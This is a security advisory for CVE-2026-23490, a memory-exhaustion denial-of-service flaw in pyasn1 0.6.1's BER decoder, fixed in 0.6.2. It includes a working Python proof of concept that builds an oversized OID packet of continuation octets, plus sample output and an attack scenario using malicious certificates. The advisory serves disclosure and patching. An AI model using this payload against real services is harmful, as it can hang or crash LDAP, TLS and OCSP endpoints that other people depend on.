GHSA-63vm-454h-vhhq
pyasn1 has a DoS vulnerability in decoder
At a glance
- Published
- Updated
- CVE
- CVE-2026-23490
- Aliases
- PYSEC-2026-1810
- CVSS_V3
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed") ``` Screenshots with the results: #### DoS <img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" /> #### Leak analysis A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` ### Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. ### Impact This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc. ### Recommendation Add a limit to the allowed bytes in the decoder.
Affected packages
| Package | Versions |
|---|---|
| PyPI · pyasn1 | introduced 0.6.1, fixed 0.6.2 |
References
- https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
- https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6 WEB
- https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970 WEB
- https://access.redhat.com/errata/RHSA-2026:4148 WEB
- https://access.redhat.com/errata/RHSA-2026:4147 WEB
- https://access.redhat.com/errata/RHSA-2026:4146 WEB
- https://access.redhat.com/errata/RHSA-2026:4145 WEB
- https://access.redhat.com/errata/RHSA-2026:4144 WEB
- https://access.redhat.com/errata/RHSA-2026:4143 WEB
- https://access.redhat.com/errata/RHSA-2026:4142 WEB
- https://access.redhat.com/errata/RHSA-2026:4141 WEB
- https://access.redhat.com/errata/RHSA-2026:4140 WEB
- https://access.redhat.com/errata/RHSA-2026:4139 WEB
- https://access.redhat.com/errata/RHSA-2026:4138 WEB
- https://access.redhat.com/errata/RHSA-2026:39894 WEB
- https://access.redhat.com/errata/RHSA-2026:3959 WEB
- https://access.redhat.com/errata/RHSA-2026:3958 WEB
- https://access.redhat.com/errata/RHSA-2026:2302 WEB
- https://access.redhat.com/errata/RHSA-2026:41928 WEB
- https://access.redhat.com/errata/RHSA-2026:42644 WEB
- https://access.redhat.com/errata/RHSA-2026:4943 WEB
- https://access.redhat.com/errata/RHSA-2026:54757 WEB
- https://access.redhat.com/errata/RHSA-2026:5606 WEB
- https://access.redhat.com/security/cve/CVE-2026-23490 WEB
- https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
- https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
- https://github.com/pyasn1/pyasn1 PACKAGE
- https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496 WEB
- https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
- https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml WEB
- https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html WEB
- https://pypi.org/project/pyasn1 WEB
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json WEB
- https://access.redhat.com/errata/RHSA-2026:2300 WEB
- https://access.redhat.com/errata/RHSA-2026:2299 WEB
- https://access.redhat.com/errata/RHSA-2026:2221 WEB
- https://access.redhat.com/errata/RHSA-2026:19712 WEB
- https://access.redhat.com/errata/RHSA-2026:1906 WEB
- https://access.redhat.com/errata/RHSA-2026:1905 WEB
- https://access.redhat.com/errata/RHSA-2026:1904 WEB
- https://access.redhat.com/errata/RHSA-2026:1903 WEB
- https://access.redhat.com/errata/RHSA-2026:17611 WEB
- https://access.redhat.com/errata/RHSA-2026:17595 WEB
- https://access.redhat.com/errata/RHSA-2026:17446 WEB
- https://access.redhat.com/errata/RHSA-2026:14020 WEB
- https://access.redhat.com/errata/RHSA-2026:13553 WEB
- https://access.redhat.com/errata/RHSA-2026:13545 WEB
- https://access.redhat.com/errata/RHSA-2026:13512 WEB
- https://access.redhat.com/errata/RHSA-2026:13508 WEB
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |